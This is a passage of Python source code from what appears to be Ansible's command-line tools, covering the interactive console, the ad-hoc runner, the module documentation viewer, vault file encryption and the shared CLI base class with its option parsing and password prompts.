            display.verbosity = int(arg)
            display.v('verbosity level set to %s' % arg)

    def do_cd(self, arg):
        """
            Change active host/group. You can use hosts patterns as well eg.:
            cd webservers
            cd webservers:dbservers
            cd webservers:!phoenix
            cd webservers:&staging
            cd webservers:dbservers:&staging:!phoenix
        """
        if not arg:
            self.options.cwd = '*'
        elif arg == '..':
            try:
                self.options.cwd = self.inventory.groups_for_host(self.options.cwd)[1].name
            except Exception:
                self.options.cwd = ''
        elif arg in '/*':
            self.options.cwd = 'all'
        elif self.inventory.get_hosts(arg):
            self.options.cwd = arg
        else:
            display.display("no host matched")

        self.set_prompt()

    def do_list(self, arg):
        """List the hosts in the current group"""
        if arg == 'groups':
            for group in self.groups:
                display.display(group)
        else:
            for host in self.selected:
                display.display(host.name)

    def do_become(self, arg):
        """Toggle whether plays run with become"""
        if arg:
            self.options.become = C.mk_boolean(arg)
            display.v("become changed to %s" % self.options.become)
            self.set_prompt()
        else:
            display.display("Please specify become value, e.g. `become yes`")

    def do_remote_user(self, arg):
        """Given a username, set the remote user plays are run by"""
        if arg:
            self.options.remote_user = arg
            self.set_prompt()
        else:
            display.display("Please specify a remote user, e.g. `remote_user root`")

    def do_become_user(self, arg):
        """Given a username, set the user that plays are run by when using become"""
        if arg:
            self.options.become_user = arg
        else:
            display.display("Please specify a user, e.g. `become_user jenkins`")
            display.v("Current user is %s" % self.options.become_user)
        self.set_prompt()

    def do_become_method(self, arg):
        """Given a become_method, set the privilege escalation method when using become"""
        if arg:
            self.options.become_method = arg
            display.v("become_method changed to %s" % self.options.become_method)
        else:
            display.display("Please specify a become_method, e.g. `become_method su`")

    def do_check(self, arg):
        """Toggle whether plays run with check mode"""
        if arg:
            self.options.check = C.mk_boolean(arg)
            display.v("check mode changed to %s" % self.options.check)
        else:
            display.display("Please specify check mode value, e.g. `check yes`")

    def do_diff(self, arg):
        """Toggle whether plays run with diff"""
        if arg:
            self.options.diff = C.mk_boolean(arg)
            display.v("diff mode changed to %s" % self.options.diff)
        else:
            display.display("Please specify a diff value , e.g. `diff yes`")

    def do_exit(self, args):
        """Exits from the console"""
        sys.stdout.write('\n')
        return -1

    do_EOF = do_exit

    def helpdefault(self, module_name):
        if module_name in self.modules:
            in_path = module_loader.find_plugin(module_name)
            if in_path:
                oc, a, _ = module_docs.get_docstring(in_path)
                if oc:
                    display.display(oc['short_description'])
                    display.display('Parameters:')
                    for opt in oc['options'].keys():
                        display.display('  ' + stringc(opt, C.COLOR_HIGHLIGHT) + ' ' + oc['options'][opt]['description'][0])
                else:
                    display.error('No documentation found for %s.' % module_name)
            else:
                display.error('%s is not a valid command, use ? to list all valid commands.' % module_name)

    def complete_cd(self, text, line, begidx, endidx):
        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)

        if self.options.cwd in ('all','*','\\'):
            completions = self.hosts + self.groups
        else:
            completions = [x.name for x in self.inventory.list_hosts(self.options.cwd)]

        return [to_str(s)[offs:] for s in completions if to_str(s).startswith(to_str(mline))]

    def completedefault(self, text, line, begidx, endidx):
        if line.split()[0] in self.modules:
            mline = line.split(' ')[-1]
            offs = len(mline) - len(text)
            completions = self.module_args(line.split()[0])

            return [s[offs:] + '=' for s in completions if s.startswith(mline)]

    def module_args(self, module_name):
        in_path = module_loader.find_plugin(module_name)
        oc, a, _ = module_docs.get_docstring(in_path)
        return oc['options'].keys()


    def run(self):

        super(ConsoleCLI, self).run()

        sshpass    = None
        becomepass = None
        vault_pass = None

        # hosts
        if len(self.args) != 1:
            self.pattern = 'all'
        else:
            self.pattern = self.args[0]
        self.options.cwd = self.pattern


        # dynamically add modules as commands
        self.modules = self.list_modules()
        for module in self.modules:
            setattr(self, 'do_' + module, lambda arg, module=module: self.default(module + ' ' + arg))
            setattr(self, 'help_' + module, lambda module=module: self.helpdefault(module))

        self.normalize_become_options()
        (sshpass, becomepass) = self.ask_passwords()
        self.passwords = { 'conn_pass': sshpass, 'become_pass': becomepass }

        self.loader = DataLoader()

        if self.options.vault_password_file:
            # read vault_pass from a file
            vault_pass = CLI.read_vault_password_file(self.options.vault_password_file, loader=self.loader)
            self.loader.set_vault_password(vault_pass)
        elif self.options.ask_vault_pass:
            vault_pass = self.ask_vault_passwords()[0]
            self.loader.set_vault_password(vault_pass)

        self.variable_manager = VariableManager()
        self.inventory = Inventory(loader=self.loader, variable_manager=self.variable_manager, host_list=self.options.inventory)
        self.variable_manager.set_inventory(self.inventory)

        no_hosts = False
        if len(self.inventory.list_hosts()) == 0:
            # Empty inventory
            no_hosts = True
            display.warning("provided hosts list is empty, only localhost is available")

        self.inventory.subset(self.options.subset)
        hosts = self.inventory.list_hosts(self.pattern)
        if len(hosts) == 0 and not no_hosts:
            raise AnsibleError("Specified hosts and/or --limit does not match any hosts")

        self.groups = self.inventory.list_groups()
        self.hosts = [x.name for x in hosts]

        # This hack is to work around readline issues on a mac:
        #  http://stackoverflow.com/a/7116997/541202
        if 'libedit' in readline.__doc__:
            readline.parse_and_bind("bind ^I rl_complete")
        else:
            readline.parse_and_bind("tab: complete")

        histfile = os.path.join(os.path.expanduser("~"), ".ansible-console_history")
        try:
            readline.read_history_file(histfile)
        except IOError:
            pass

        atexit.register(readline.write_history_file, histfile)
        self.set_prompt()
        self.cmdloop()







# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

########################################################

import os

from ansible import constants as C
from ansible.cli import CLI
from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.executor.task_queue_manager import TaskQueueManager
from ansible.inventory import Inventory
from ansible.parsing.dataloader import DataLoader
from ansible.parsing.splitter import parse_kv
from ansible.playbook.play import Play
from ansible.plugins import get_all_plugin_loaders
from ansible.utils.vars import load_extra_vars
from ansible.utils.vars import load_options_vars
from ansible.utils.unicode import to_unicode
from ansible.vars import VariableManager

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


########################################################

class AdHocCLI(CLI):
    ''' code behind ansible ad-hoc cli'''

    def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog <host-pattern> [options]',
            runas_opts=True,
            inventory_opts=True,
            async_opts=True,
            output_opts=True,
            connect_opts=True,
            check_opts=True,
            runtask_opts=True,
            vault_opts=True,
            fork_opts=True,
            module_opts=True,
        )

        # options unique to ansible ad-hoc
        self.parser.add_option('-a', '--args', dest='module_args',
            help="module arguments", default=C.DEFAULT_MODULE_ARGS)
        self.parser.add_option('-m', '--module-name', dest='module_name',
            help="module name to execute (default=%s)" % C.DEFAULT_MODULE_NAME,
            default=C.DEFAULT_MODULE_NAME)

        self.options, self.args = self.parser.parse_args(self.args[1:])

        if len(self.args) < 1:
            raise AnsibleOptionsError("Missing target hosts")
        elif len(self.args) > 1:
            raise AnsibleOptionsError("Extranous options or arguments")

        display.verbosity = self.options.verbosity
        self.validate_conflicts(runas_opts=True, vault_opts=True, fork_opts=True)

        return True

    def _play_ds(self, pattern, async, poll):
        check_raw = self.options.module_name in ('command', 'shell', 'script', 'raw')
        return dict(
            name = "Ansible Ad-Hoc",
            hosts = pattern,
            gather_facts = 'no',
            tasks = [ dict(action=dict(module=self.options.module_name, args=parse_kv(self.options.module_args, check_raw=check_raw)), async=async, poll=poll) ]
        )

    def run(self):
        ''' use Runner lib to do SSH things '''

        super(AdHocCLI, self).run()

        # only thing left should be host pattern
        pattern = to_unicode(self.args[0], errors='strict')

        # ignore connection password cause we are local
        if self.options.connection == "local":
            self.options.ask_pass = False

        sshpass    = None
        becomepass = None
        vault_pass = None

        self.normalize_become_options()
        (sshpass, becomepass) = self.ask_passwords()
        passwords = { 'conn_pass': sshpass, 'become_pass': becomepass }

        loader = DataLoader()

        if self.options.vault_password_file:
            # read vault_pass from a file
            vault_pass = CLI.read_vault_password_file(self.options.vault_password_file, loader=loader)
            loader.set_vault_password(vault_pass)
        elif self.options.ask_vault_pass:
            vault_pass = self.ask_vault_passwords()[0]
            loader.set_vault_password(vault_pass)

        variable_manager = VariableManager()
        variable_manager.extra_vars = load_extra_vars(loader=loader, options=self.options)

        variable_manager.options_vars = load_options_vars(self.options)

        inventory = Inventory(loader=loader, variable_manager=variable_manager, host_list=self.options.inventory)
        variable_manager.set_inventory(inventory)

        no_hosts = False
        if len(inventory.list_hosts()) == 0:
            # Empty inventory
            display.warning("provided hosts list is empty, only localhost is available")
            no_hosts = True

        inventory.subset(self.options.subset)
        hosts = inventory.list_hosts(pattern)
        if len(hosts) == 0 and no_hosts is False:
            # Invalid limit
            raise AnsibleError("Specified hosts and/or --limit does not match any hosts")

        if self.options.listhosts:
            display.display('  hosts (%d):' % len(hosts))
            for host in hosts:
                display.display('    %s' % host)
            return 0

        if self.options.module_name in C.MODULE_REQUIRE_ARGS and not self.options.module_args:
            err = "No argument passed to %s module" % self.options.module_name
            if pattern.endswith(".yml"):
                err = err + ' (did you mean to run ansible-playbook?)'
            raise AnsibleOptionsError(err)

        # dynamically load any plugins from the playbook directory
        for name, obj in get_all_plugin_loaders():
            if obj.subdir:
                plugin_path = os.path.join('.', obj.subdir)
                if os.path.isdir(plugin_path):
                    obj.add_directory(plugin_path)

        play_ds = self._play_ds(pattern, self.options.seconds, self.options.poll_interval)
        play = Play().load(play_ds, variable_manager=variable_manager, loader=loader)

        if self.callback: 
            cb = self.callback
        elif self.options.one_line:
            cb = 'oneline'
        else:
            cb = 'minimal'

        run_tree=False
        if self.options.tree:
            C.DEFAULT_CALLBACK_WHITELIST.append('tree')
            C.TREE_DIR = self.options.tree
            run_tree=True

        # now create a task queue manager to execute the play
        self._tqm = None
        try:
            self._tqm = TaskQueueManager(
                    inventory=inventory,
                    variable_manager=variable_manager,
                    loader=loader,
                    options=self.options,
                    passwords=passwords,
                    stdout_callback=cb,
                    run_additional_callbacks=C.DEFAULT_LOAD_CALLBACK_PLUGINS,
                    run_tree=run_tree,
                )

            result = self._tqm.run(play)
        finally:
            if self._tqm:
                self._tqm.cleanup()
            if loader:
                loader.cleanup_all_tmp_files()

        return result






# (c) 2014, James Tanner <tanner.jc@gmail.com>
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
# ansible-vault is a script that encrypts/decrypts YAML files. See
# http://docs.ansible.com/playbooks_vault.html for more details.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import datetime
import os
import traceback
import textwrap

from ansible.compat.six import iteritems, string_types

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.plugins import module_loader, action_loader
from ansible.cli import CLI
from ansible.utils import module_docs

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class DocCLI(CLI):
    """ Vault command line class """

    def __init__(self, args):

        super(DocCLI, self).__init__(args)
        self.module_list = []

    def parse(self):

        self.parser = CLI.base_parser(
            usage='usage: %prog [options] [module...]',
            epilog='Show Ansible module documentation',
            module_opts=True,
        )

        self.parser.add_option("-l", "--list", action="store_true", default=False, dest='list_dir',
                help='List available modules')
        self.parser.add_option("-s", "--snippet", action="store_true", default=False, dest='show_snippet',
                help='Show playbook snippet for specified module(s)')

        self.options, self.args = self.parser.parse_args(self.args[1:])
        display.verbosity = self.options.verbosity

    def run(self):

        super(DocCLI, self).run()

        if self.options.module_path is not None:
            for i in self.options.module_path.split(os.pathsep):
                module_loader.add_directory(i)

        # list modules
        if self.options.list_dir:
            paths = module_loader._get_paths()
            for path in paths:
                self.find_modules(path)

            self.pager(self.get_module_list_text())
            return 0

        if len(self.args) == 0:
            raise AnsibleOptionsError("Incorrect options passed")

        # process command line module list
        text = ''
        for module in self.args:

            try:
                # if the module lives in a non-python file (eg, win_X.ps1), require the corresponding python file for docs
                filename = module_loader.find_plugin(module, mod_type='.py')
                if filename is None:
                    display.warning("module %s not found in %s\n" % (module, DocCLI.print_paths(module_loader)))
                    continue

                if any(filename.endswith(x) for x in C.BLACKLIST_EXTS):
                    continue

                try:
                    doc, plainexamples, returndocs = module_docs.get_docstring(filename, verbose=(self.options.verbosity > 0))
                except:
                    display.vvv(traceback.print_exc())
                    display.error("module %s has a documentation error formatting or is missing documentation\nTo see exact traceback use -vvv" % module)
                    continue

                if doc is not None:

                    # is there corresponding action plugin?
                    if module in action_loader:
                        doc['action'] = True
                    else:
                        doc['action'] = False

                    all_keys = []
                    for (k,v) in iteritems(doc['options']):
                        all_keys.append(k)
                    all_keys = sorted(all_keys)
                    doc['option_keys'] = all_keys

                    doc['filename']         = filename
                    doc['docuri']           = doc['module'].replace('_', '-')
                    doc['now_date']         = datetime.date.today().strftime('%Y-%m-%d')
                    doc['plainexamples']    = plainexamples
                    doc['returndocs']       = returndocs

                    if self.options.show_snippet:
                        text += self.get_snippet_text(doc)
                    else:
                        text += self.get_man_text(doc)
                else:
                    # this typically means we couldn't even parse the docstring, not just that the YAML is busted,
                    # probably a quoting issue.
                    raise AnsibleError("Parsing produced an empty object.")
            except Exception as e:
                display.vvv(traceback.print_exc())
                raise AnsibleError("module %s missing documentation (or could not parse documentation): %s\n" % (module, str(e)))

        self.pager(text)
        return 0

    def find_modules(self, path):

        if os.path.isdir(path):
            for module in os.listdir(path):
                if module.startswith('.'):
                    continue
                elif os.path.isdir(module):
                    self.find_modules(module)
                elif any(module.endswith(x) for x in C.BLACKLIST_EXTS):
                    continue
                elif module.startswith('__'):
                    continue
                elif module in C.IGNORE_FILES:
                    continue
                elif module.startswith('_'):
                    fullpath = '/'.join([path,module])
                    if os.path.islink(fullpath): # avoids aliases
                        continue

                module = os.path.splitext(module)[0] # removes the extension
                self.module_list.append(module)

    def get_module_list_text(self):
        columns = display.columns
        displace = max(len(x) for x in self.module_list)
        linelimit = columns - displace - 5
        text = []
        deprecated = []
        for module in sorted(set(self.module_list)):

            if module in module_docs.BLACKLIST_MODULES:
                continue

            # if the module lives in a non-python file (eg, win_X.ps1), require the corresponding python file for docs
            filename = module_loader.find_plugin(module, mod_type='.py')

            if filename is None:
                continue
            if filename.endswith(".ps1"):
                continue
            if os.path.isdir(filename):
                continue

            try:
                doc, plainexamples, returndocs = module_docs.get_docstring(filename)
                desc = self.tty_ify(doc.get('short_description', '?')).strip()
                if len(desc) > linelimit:
                    desc = desc[:linelimit] + '...'

                if module.startswith('_'): # Handle deprecated
                    deprecated.append("%-*s %-*.*s" % (displace, module[1:], linelimit, len(desc), desc))
                else:
                    text.append("%-*s %-*.*s" % (displace, module, linelimit, len(desc), desc))
            except:
                raise AnsibleError("module %s has a documentation error formatting or is missing documentation\n" % module)

        if len(deprecated) > 0:
            text.append("\nDEPRECATED:")
            text.extend(deprecated)
        return "\n".join(text)

    @staticmethod
    def print_paths(finder):
        ''' Returns a string suitable for printing of the search path '''

        # Uses a list to get the order right
        ret = []
        for i in finder._get_paths():
            if i not in ret:
                ret.append(i)
        return os.pathsep.join(ret)

    def get_snippet_text(self, doc):

        text = []
        desc = CLI.tty_ify(doc['short_description'])
        text.append("- name: %s" % (desc))
        text.append("  action: %s" % (doc['module']))
        pad = 31
        subdent = ''.join([" " for a in xrange(pad)])
        limit = display.columns - pad

        for o in sorted(doc['options'].keys()):
            opt = doc['options'][o]
            desc = CLI.tty_ify(" ".join(opt['description']))

            required = opt.get('required', False)
            if not isinstance(required, bool):
                raise("Incorrect value for 'Required', a boolean is needed.: %s" % required)
            if required:
                s = o + "="
            else:
                s = o
            text.append("      %-20s   # %s" % (s, textwrap.fill(desc, limit, subsequent_indent=subdent)))
        text.append('')

        return "\n".join(text)

    def get_man_text(self, doc):

        opt_indent="        "
        text = []
        text.append("> %s\n" % doc['module'].upper())
        pad = display.columns * 0.20
        limit = max(display.columns - int(pad), 70)

        if isinstance(doc['description'], list):
            desc = " ".join(doc['description'])
        else:
            desc = doc['description']

        text.append("%s\n" % textwrap.fill(CLI.tty_ify(desc), limit, initial_indent="  ", subsequent_indent="  "))

        if 'deprecated' in doc and doc['deprecated'] is not None and len(doc['deprecated']) > 0:
            text.append("DEPRECATED: \n%s\n" % doc['deprecated'])

        if 'action' in doc and doc['action']:
            text.append("  * note: %s\n" % "This module has a corresponding action plugin.")

        if 'option_keys' in doc and len(doc['option_keys']) > 0:
            text.append("Options (= is mandatory):\n")

        for o in sorted(doc['option_keys']):
            opt = doc['options'][o]

            required = opt.get('required', False)
            if not isinstance(required, bool):
                raise("Incorrect value for 'Required', a boolean is needed.: %s" % required)
            if required:
                opt_leadin = "="
            else:
                opt_leadin = "-"

            text.append("%s %s" % (opt_leadin, o))

            if isinstance(opt['description'], list):
                for entry in opt['description']:
                    text.append(textwrap.fill(CLI.tty_ify(entry), limit, initial_indent=opt_indent, subsequent_indent=opt_indent))
            else:
                text.append(textwrap.fill(CLI.tty_ify(opt['description']), limit, initial_indent=opt_indent, subsequent_indent=opt_indent))

            if 'choices' in opt:
                choices = "(Choices: " + ", ".join(str(i) for i in opt['choices']) + ")"
            if 'default' in opt or not required:
                default = "[Default: " +  str(opt.get('default', '(null)')) + "]"
            text.append(textwrap.fill(CLI.tty_ify(choices + default), limit, initial_indent=opt_indent, subsequent_indent=opt_indent))

        if 'notes' in doc and doc['notes'] and len(doc['notes']) > 0:
            notes = " ".join(doc['notes'])
            text.append("Notes:%s\n" % textwrap.fill(CLI.tty_ify(notes), limit-6, initial_indent="  ", subsequent_indent=opt_indent))

        if 'requirements' in doc and doc['requirements'] is not None and len(doc['requirements']) > 0:
            req = ", ".join(doc['requirements'])
            text.append("Requirements:%s\n" % textwrap.fill(CLI.tty_ify(req), limit-16, initial_indent="  ", subsequent_indent=opt_indent))

        if 'examples' in doc and len(doc['examples']) > 0:
            text.append("Example%s:\n" % ('' if len(doc['examples']) < 2 else 's'))
            for ex in doc['examples']:
                text.append("%s\n" % (ex['code']))

        if 'plainexamples' in doc and doc['plainexamples'] is not None:
            text.append("EXAMPLES:")
            text.append(doc['plainexamples'])
        if 'returndocs' in doc and doc['returndocs'] is not None:
            text.append("RETURN VALUES:")
            text.append(doc['returndocs'])
        text.append('')

        maintainers = set()
        if 'author' in doc:
            if isinstance(doc['author'], string_types):
                maintainers.add(doc['author'])
            else:
                maintainers.update(doc['author'])

        if 'maintainers' in doc:
            if isinstance(doc['maintainers'], string_types):
                maintainers.add(doc['author'])
            else:
                maintainers.update(doc['author'])

        text.append('MAINTAINERS: ' + ', '.join(maintainers))
        text.append('')

        return "\n".join(text)






# (c) 2014, James Tanner <tanner.jc@gmail.com>
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
# ansible-vault is a script that encrypts/decrypts YAML files. See
# http://docs.ansible.com/playbooks_vault.html for more details.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import sys

from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.parsing.dataloader import DataLoader
from ansible.parsing.vault import VaultEditor
from ansible.cli import CLI
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class VaultCLI(CLI):
    """ Vault command line class """

    VALID_ACTIONS = ("create", "decrypt", "edit", "encrypt", "rekey", "view")

    def __init__(self, args):

        self.vault_pass = None
        self.new_vault_pass = None
        super(VaultCLI, self).__init__(args)

    def parse(self):

        self.parser = CLI.base_parser(
            vault_opts=True,
            usage = "usage: %%prog [%s] [--help] [options] vaultfile.yml" % "|".join(self.VALID_ACTIONS),
            epilog = "\nSee '%s <command> --help' for more information on a specific command.\n\n" % os.path.basename(sys.argv[0])
        )

        self.set_action()

        # options specific to self.actions
        if self.action == "create":
            self.parser.set_usage("usage: %prog create [options] file_name")
        elif self.action == "decrypt":
            self.parser.set_usage("usage: %prog decrypt [options] file_name")
        elif self.action == "edit":
            self.parser.set_usage("usage: %prog edit [options] file_name")
        elif self.action == "view":
            self.parser.set_usage("usage: %prog view [options] file_name")
        elif self.action == "encrypt":
            self.parser.set_usage("usage: %prog encrypt [options] file_name")
        elif self.action == "rekey":
            self.parser.set_usage("usage: %prog rekey [options] file_name")

        self.options, self.args = self.parser.parse_args(self.args[1:])
        display.verbosity = self.options.verbosity

        can_output = ['encrypt', 'decrypt']

        if self.action not in can_output:
            if self.options.output_file:
                raise AnsibleOptionsError("The --output option can be used only with ansible-vault %s" % '/'.join(can_output))
            if len(self.args) == 0:
                raise AnsibleOptionsError("Vault requires at least one filename as a parameter")
        else:
            # This restriction should remain in place until it's possible to
            # load multiple YAML records from a single file, or it's too easy
            # to create an encrypted file that can't be read back in. But in
            # the meanwhile, "cat a b c|ansible-vault encrypt --output x" is
            # a workaround.
            if self.options.output_file and len(self.args) > 1:
                raise AnsibleOptionsError("At most one input file may be used with the --output option")

    def run(self):

        super(VaultCLI, self).run()
        loader = DataLoader()

        # set default restrictive umask
        old_umask = os.umask(0o077)

        if self.options.vault_password_file:
            # read vault_pass from a file
            self.vault_pass = CLI.read_vault_password_file(self.options.vault_password_file, loader)
        else:
            newpass = False
            rekey = False
            if not self.options.new_vault_password_file:
                newpass = (self.action in ['create', 'rekey', 'encrypt'])
                rekey = (self.action == 'rekey')
            self.vault_pass, self.new_vault_pass = self.ask_vault_passwords(ask_new_vault_pass=newpass, rekey=rekey)

        if self.options.new_vault_password_file:
            # for rekey only
            self.new_vault_pass = CLI.read_vault_password_file(self.options.new_vault_password_file, loader)

        if not self.vault_pass:
            raise AnsibleOptionsError("A password is required to use Ansible's Vault")

        self.editor = VaultEditor(self.vault_pass)

        self.execute()

        # and restore umask
        os.umask(old_umask)

    def execute_encrypt(self):

        if len(self.args) == 0 and sys.stdin.isatty():
            display.display("Reading plaintext input from stdin", stderr=True)

        for f in self.args or ['-']:
            self.editor.encrypt_file(f, output_file=self.options.output_file)

        if sys.stdout.isatty():
            display.display("Encryption successful", stderr=True)

    def execute_decrypt(self):

        if len(self.args) == 0 and sys.stdin.isatty():
            display.display("Reading ciphertext input from stdin", stderr=True)

        for f in self.args or ['-']:
            self.editor.decrypt_file(f, output_file=self.options.output_file)

        if sys.stdout.isatty():
            display.display("Decryption successful", stderr=True)

    def execute_create(self):

        if len(self.args) > 1:
            raise AnsibleOptionsError("ansible-vault create can take only one filename argument")

        self.editor.create_file(self.args[0])

    def execute_edit(self):
        for f in self.args:
            self.editor.edit_file(f)

    def execute_view(self):

        for f in self.args:
            # Note: vault should return byte strings because it could encrypt
            # and decrypt binary files.  We are responsible for changing it to
            # unicode here because we are displaying it and therefore can make
            # the decision that the display doesn't have to be precisely what
            # the input was (leave that to decrypt instead)
            self.pager(to_unicode(self.editor.plaintext(f)))

    def execute_rekey(self):
        for f in self.args:
            if not (os.path.isfile(f)):
                raise AnsibleError(f + " does not exist")

        for f in self.args:
            self.editor.rekey_file(f, self.new_vault_pass)

        display.display("Rekey successful", stderr=True)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import operator
import optparse
import os
import sys
import time
import yaml
import re
import getpass
import signal
import subprocess

from ansible.release import __version__
from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.utils.unicode import to_bytes, to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class SortedOptParser(optparse.OptionParser):
    '''Optparser which sorts the options by opt before outputting --help'''

    #FIXME: epilog parsing: OptionParser.format_epilog = lambda self, formatter: self.epilog

    def format_help(self, formatter=None, epilog=None):
        self.option_list.sort(key=operator.methodcaller('get_opt_string'))
        return optparse.OptionParser.format_help(self, formatter=None)


class CLI(object):
    ''' code behind bin/ansible* programs '''

    VALID_ACTIONS = ['No Actions']

    _ITALIC = re.compile(r"I\(([^)]+)\)")
    _BOLD   = re.compile(r"B\(([^)]+)\)")
    _MODULE = re.compile(r"M\(([^)]+)\)")
    _URL    = re.compile(r"U\(([^)]+)\)")
    _CONST  = re.compile(r"C\(([^)]+)\)")

    PAGER   = 'less'
    LESS_OPTS = 'FRSX'  # -F (quit-if-one-screen) -R (allow raw ansi control chars)
                        # -S (chop long lines) -X (disable termcap init and de-init)

    def __init__(self, args, callback=None):
        """
        Base init method for all command line programs
        """

        self.args = args
        self.options = None
        self.parser = None
        self.action = None
        self.callback = callback

    def set_action(self):
        """
        Get the action the user wants to execute from the sys argv list.
        """
        for i in range(0,len(self.args)):
            arg = self.args[i]
            if arg in self.VALID_ACTIONS:
                self.action = arg
                del self.args[i]
                break

        if not self.action:
            # if no need for action if version/help
            tmp_options, tmp_args = self.parser.parse_args()
            if not(hasattr(tmp_options, 'help') and tmp_options.help) or (hasattr(tmp_options, 'version') and tmp_options.version):
                raise AnsibleOptionsError("Missing required action")

    def execute(self):
        """
        Actually runs a child defined method using the execute_<action> pattern
        """
        fn = getattr(self, "execute_%s" % self.action)
        fn()

    def parse(self):
        raise Exception("Need to implement!")

    def run(self):

        if self.options.verbosity > 0:
            if C.CONFIG_FILE:
                display.display(u"Using %s as config file" % to_unicode(C.CONFIG_FILE))
            else:
                display.display(u"No config file found; using defaults")


    @staticmethod
    def ask_vault_passwords(ask_new_vault_pass=False, rekey=False):
        ''' prompt for vault password and/or password change '''

        vault_pass = None
        new_vault_pass = None
        try:
            if rekey or not ask_new_vault_pass:
                vault_pass = getpass.getpass(prompt="Vault password: ")

            if ask_new_vault_pass:
                new_vault_pass = getpass.getpass(prompt="New Vault password: ")
                new_vault_pass2 = getpass.getpass(prompt="Confirm New Vault password: ")
                if new_vault_pass != new_vault_pass2:
                    raise AnsibleError("Passwords do not match")
        except EOFError:
            pass

        # enforce no newline chars at the end of passwords
        if vault_pass:
            vault_pass = to_bytes(vault_pass, errors='strict', nonstring='simplerepr').strip()
        if new_vault_pass:
            new_vault_pass = to_bytes(new_vault_pass, errors='strict', nonstring='simplerepr').strip()

        if ask_new_vault_pass and not rekey:
            vault_pass = new_vault_pass

        return vault_pass, new_vault_pass

    def ask_passwords(self):
        ''' prompt for connection and become passwords if needed '''

        op = self.options
        sshpass = None
        becomepass = None
        become_prompt = ''

        try:
            if op.ask_pass:
                sshpass = getpass.getpass(prompt="SSH password: ")
                become_prompt = "%s password[defaults to SSH password]: " % op.become_method.upper()
                if sshpass:
                    sshpass = to_bytes(sshpass, errors='strict', nonstring='simplerepr')
            else:
                become_prompt = "%s password: " % op.become_method.upper()

            if op.become_ask_pass:
                becomepass = getpass.getpass(prompt=become_prompt)
                if op.ask_pass and becomepass == '':
                    becomepass = sshpass
                if becomepass:
                    becomepass = to_bytes(becomepass)
        except EOFError:
            pass

        return (sshpass, becomepass)

    def normalize_become_options(self):
        ''' this keeps backwards compatibility with sudo/su self.options '''
        self.options.become_ask_pass = self.options.become_ask_pass or self.options.ask_sudo_pass or self.options.ask_su_pass or C.DEFAULT_BECOME_ASK_PASS
        self.options.become_user     = self.options.become_user or self.options.sudo_user or self.options.su_user or C.DEFAULT_BECOME_USER

        if self.options.become:
            pass
        elif self.options.sudo:
            self.options.become = True
            self.options.become_method = 'sudo'
        elif self.options.su:
            self.options.become = True
            self.options.become_method = 'su'

    def validate_conflicts(self, vault_opts=False, runas_opts=False, fork_opts=False):
        ''' check for conflicting options '''

        op = self.options

        if vault_opts:
            # Check for vault related conflicts
            if (op.ask_vault_pass and op.vault_password_file):
                self.parser.error("--ask-vault-pass and --vault-password-file are mutually exclusive")

        if runas_opts:
            # Check for privilege escalation conflicts
            if (op.su or op.su_user) and (op.sudo or op.sudo_user) or \
                (op.su or op.su_user) and (op.become or op.become_user) or \
                (op.sudo or op.sudo_user) and (op.become or op.become_user):

                self.parser.error("Sudo arguments ('--sudo', '--sudo-user', and '--ask-sudo-pass') "
                                  "and su arguments ('-su', '--su-user', and '--ask-su-pass') "
                                  "and become arguments ('--become', '--become-user', and '--ask-become-pass')"
                                  " are exclusive of each other")

        if fork_opts:
            if op.forks < 1:
                self.parser.error("The number of processes (--forks) must be >= 1")

    @staticmethod
    def expand_tilde(option, opt, value, parser):
        setattr(parser.values, option.dest, os.path.expanduser(value))

    @staticmethod
    def expand_paths(option, opt, value, parser):
        """optparse action callback to convert a PATH style string arg to a list of path strings.

